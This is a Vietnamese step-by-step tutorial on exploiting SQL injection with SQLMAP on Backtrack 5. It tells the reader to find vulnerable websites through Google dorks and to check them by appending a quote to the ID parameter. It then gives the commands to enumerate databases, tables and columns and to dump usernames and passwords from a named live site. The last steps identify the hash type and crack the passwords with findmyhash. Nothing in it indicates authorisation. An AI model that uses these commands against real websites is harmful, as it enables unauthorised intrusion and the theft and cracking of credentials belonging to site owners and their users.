**Khai thác lỗi SQL Injection (Dạng 4)**

**1.Chuẩn bị thiết bị**

- Một máy Linux sử dụng HĐH Backtrack 5 R3 có cài đặt SQLMAP

- Modem/Switch kết nối với Internet

**2.Yêu cầu nội dung**

- Kết nối thiết bị theo mô hình

- Mở trình duyệt Web tìm kiếm trang bị lỗi SQL Injection

- Sử dụng công cụ SQLMAP trong Backtrack để khai thác lỗ hổng

+ Search lỗi SQL Injection nhờ vào Dork trên Google hoặc sử dụng tool Scan lỗi

+ Xác định mục tiêu, check site lỗi bằng cách thêm dấu ‘ vào cuối trường ID

+ Thấy giao diện thay đổi, như vậy là Website có lỗi SQL Injection

+ Truy cập vào đường dẫn chuwascoong cụ SQLMAP trong Backtrack5

+ Đưa link bị lỗi SQL vào SQLMAP và tiến hành truy vấn dữ liệu

+Truy vấn tất cả các bảng trong CSDL và tìm ra thông tin về cột nghi ngờ có chứa Username/Password

+ Xem toàn bộ nội dung các cột chứa Username/Password và tiến hành giải mã mật khẩu

+ Xác định dạng mã hóa của mật khẩu sử dụng công cụ hash-identify trong Backtrack

+ Giải mã mật khẩu sử dụng công cụ findmyhash trong Backtrack

**3. Các bước cụ thể**

- Vào firefox xác định mục tiêu cần tấn công

- Thêm dấu ‘ vào trường ID xem website có lỗi không

- Sử dụng công cụ SQLMAP

root@bt:~# cd /pentest/datebase/sqlmap/

**Truy vấn CSDL:**

root@bt:/pentest//datebase/sqlmap# ./sqlmap.py-u [link website bị lỗi] --dbs

VD: ./sqlmap.py –u <http://www.kimvinhphat09.com/prddetail.php?id=850> --dbs

Do you wantto keep testing the others (if any)? [y/n]: y

Màn hình sẽ trả về các CSDL

**Truy vấn các bảng trong CSDL vừa tìm:**

root@bt:/pentest//datebase/sqlmap# ./sqlmap.py-u [link website bị lỗi] -D [tên CSDL] --tables

VD: ./sqlmap.py –u <http://www.kimvinhphat09.com/prddetail.php?id=850> -D kimvinhphat\_vn --tables

Màn hình sẽ trả về các bảng trong CSDL, tìm tên bảng nghi ngờ có thông tin của User

**Truy vấn cột trong bảng:**

root@bt:/pentest//datebase/sqlmap# ./sqlmap.py-u [link website bị lỗi] -D [tên CSDL]-T [tên bảng] --columns

VD: ./sqlmap.py –u <http://www.kimvinhphat09.com/prddetail.php?id=850> -D kimvinhphat\_vn -T user\_manager --columns

Màn hình sẽ hiển thị các cột trong bảng

**Truy vấn dữ liệu Username/Password:**

root@bt:/pentest//datebase/sqlmap# ./sqlmap.py-u [link website bị lỗi] -D [tên CSDL]-T [tên bảng] -C “tên cột chứa username/password” –dump

VD: ./sqlmap.py –u <http://www.kimvinhphat09.com/prddetail.php?id=850> -D kimvinhphat\_vn -T user\_manager -C “username, userid, password” --dump

Màn hình sẽ hiển thì thông tin về username/password ( password có thể bị mã hóa)

**Xác định định dạng mã hóa và Crack mật khẩu:**

root@bt:~# cd /pentest/passwords/hash-identifier/

root@bt:/pentest/passwords/hash-identifier# ./hash\_id.py

Copy mật khẩu đã bị mã hóa vào, màn hình sẽ hiển thì định dạng mã hóa (VD: MD5)

root@bt:/pentest/passwords/hash-identifier# cd ..

root@bt:/pentest/passwords# cd findmyhash/

root@bt:/pentest/passwords/findmyhash# ./findmyhash.py [định dạng mã hóa] –h [mật khẩu]